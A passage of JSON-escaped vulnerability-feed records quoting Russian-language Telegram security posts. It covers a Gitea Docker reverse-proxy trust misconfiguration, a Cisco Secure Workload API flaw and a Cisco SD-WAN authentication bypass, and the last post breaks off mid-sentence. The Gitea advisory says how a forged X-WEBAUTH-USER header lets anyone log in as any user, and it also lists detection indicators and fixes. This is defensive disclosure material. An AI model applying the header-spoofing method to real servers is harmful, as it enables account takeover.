\u0437\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u0435\u0440\u0435\u0437 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435  \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438 (reverse-proxy).\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f: Gitea \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 Docker-\u043e\u0431\u0440\u0430\u0437 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83d\udd27 \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.3 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e:\n\nREVERSE_PROXY_TRUSTED_PROXIES = *\n\n\u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (ENABLE_REVERSE_PROXY_AUTHENTICATION = true) Gitea \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 X-WEBAUTH-USER \u043e\u0442 \u043b\u044e\u0431\u043e\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e reverse proxy. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f 127.0.0.0/8,::1/128, \u0442\u043e \u0435\u0441\u0442\u044c \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043a \u0430\u0434\u0440\u0435\u0441\u0430\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 (loopback-\u0430\u0434\u0440\u0435\u0441\u0430). \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0435 Docker app.ini \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u043e \u043d\u0430 \u0448\u0430\u0431\u043b\u043e\u043d \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c \u0432\u0438\u0434\u0430 X-WEBAUTH-USER:  \u0438 \u0431\u044b\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0430\u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0442\u043e\u043a\u0435\u043d\u0430 \u0438\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438. \u0415\u0441\u043b\u0438 \u0432 Gitea \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f, \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u2014 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043b\u043e\u0433\u0438\u043d, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u2014 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u043f\u043e\u0434 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u2757\ufe0f\u0412\u0430\u0436\u043d\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435: \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0441\u0435\u0430\u043d\u0441, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 API \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 (/api/v1/...). \u042d\u0442\u043e\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0438 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u041f\u041e: \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Gitea \u0434\u043e 1.26.3. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e 1.26.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435 \u0438\u0437-\u0437\u0430 \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u0438 \u0432 1.26.3.\n\u0422\u0438\u043f: \u041e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 / Impersonation\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f: CWE-284 (Improper Access Control)\n\ud83d\udd3bCVSS 3.1: 9.8 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043a Gitea \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c X-WEBAUTH-USER \u043e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u044b \u0432 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u2022 \u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u2022 \u041f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u2014 \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e.\n\u2022 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0435\u0439 SSH, \u043a\u043b\u044e\u0447\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0432\u0435\u0431-\u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0447\u0438\u043a\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u0439 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\n\u2022 \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437  reverse proxy.\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \n\n2. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c ENABLE_REVERSE_PROXY_AUTHENTICATION.\n\n3. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 proxy-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438.\n\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u0435 REVERSE_PROXY_TRUSTED_PROXIES = * \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 reverse proxy.\n\n4. \u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f.\n\n5. \u0417\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Gitea \u0432 \u043e\u0431\u0445\u043e\u0434 reverse proxy. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u044d\u043a\u0440\u0430\u043d, \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0441\u0435\u0442\u0435\u0439 Docker, \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u0438\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\n6. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441 X-WEBAUTH-USER \u043e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u0430 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430 (20-\u0435 \u0447\u0438\u0441\u043b\u0430 \u0438\u044e\u043d\u044f 2026).\n\n7. \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0432\u0435\u043d\u0434\u043e\u0440\u0430.", "creation_timestamp": "2026-08-05T00:00:35.432244Z"}, {"uuid": "a94a60b4-34a5-45a4-ae84-97e5bc41e07e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://t.me/bdufstecru/3198", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 REST API \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u043c\u0443\u043b\u044c\u0442\u0438\u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0446\u0435\u043d\u0442\u0440\u043e\u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 Cisco Secure Workload (\u0440\u0430\u043d\u0435\u0435 Tetration) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b\n\nBDU:2026-07274\nCVE-2026-20223\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\n\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0439 3.10.8.3, 4.0.3.17:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-csw-pnbsa-g8WEnuy", "creation_timestamp": "2026-05-27T14:28:27.000000Z"}, {"uuid": "6fdc0aae-0b3c-4a57-ba30-092c301af9e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/10321", "content": "29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u2014 \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0436\u0438\u0432\u0451\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 CVE\n\n\u041d\u0435 \u0434\u043d\u0435\u0439, \u043d\u0435 \u043d\u0435\u0434\u0435\u043b\u044c \u2014 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c IBM X-Force Threat Intelligence Index 2025, \u043c\u0435\u0436\u0434\u0443 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u043e\u043c\u0435\u0440 CVE, \u0438 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0451 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435: \u0432\u0440\u0435\u043c\u044f, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u0435\u0436\u0443\u044e CVE (\u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 n-day), \u0441\u0436\u0430\u043b\u043e\u0441\u044c \u0434\u043e 5 \u0434\u043d\u0435\u0439. \u0412 2018\u20132019 \u0431\u044b\u043b\u043e \u043e\u043a\u043e\u043b\u043e 32. \u0427\u0443\u0432\u0441\u0442\u0432\u0443\u0435\u0442\u0435 \u0440\u0430\u0437\u0440\u044b\u0432?\n\n\u2757\ufe0fGoogle Threat Intelligence Group \u043d\u0430\u0441\u0447\u0438\u0442\u0430\u043b\u0430 75 zero-day \u0437\u0430 2024 \u0433\u043e\u0434, \u0438 44% \u0430\u0442\u0430\u043a \u043f\u0440\u0438\u0448\u043b\u0438\u0441\u044c \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u0430\u044f \u0434\u043e\u043b\u044f. SD-WAN \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\u0441\u0451, \u0447\u0442\u043e \u0442\u043e\u0440\u0447\u0438\u0442 \u043d\u0430\u0440\u0443\u0436\u0443 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439.\n\n\u0420\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043d\u0430 \u0434\u0432\u0443\u0445 \u0441\u0432\u0435\u0436\u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435.\n\n\ud83c\udf87CVE-2026-20127 \u2014 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Cisco Catalyst SD-WAN. CVSS 10.0 \u0438\u0437 10. \u0410\u0442\u0430\u043a\u0430 \u043f\u043e \u0441\u0435\u0442\u0438, \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0431\u0435\u0437 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0432\u0441\u0435\u0439 SD-WAN-\u0441\u0435\u0442\u0438. \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, lateral movement, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 rogue peers \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f. EPSS \u2014 0.88, \u044d\u0442\u043e \u0442\u043e\u043f-1% \u0441\u0440\u0435\u0434\u0438 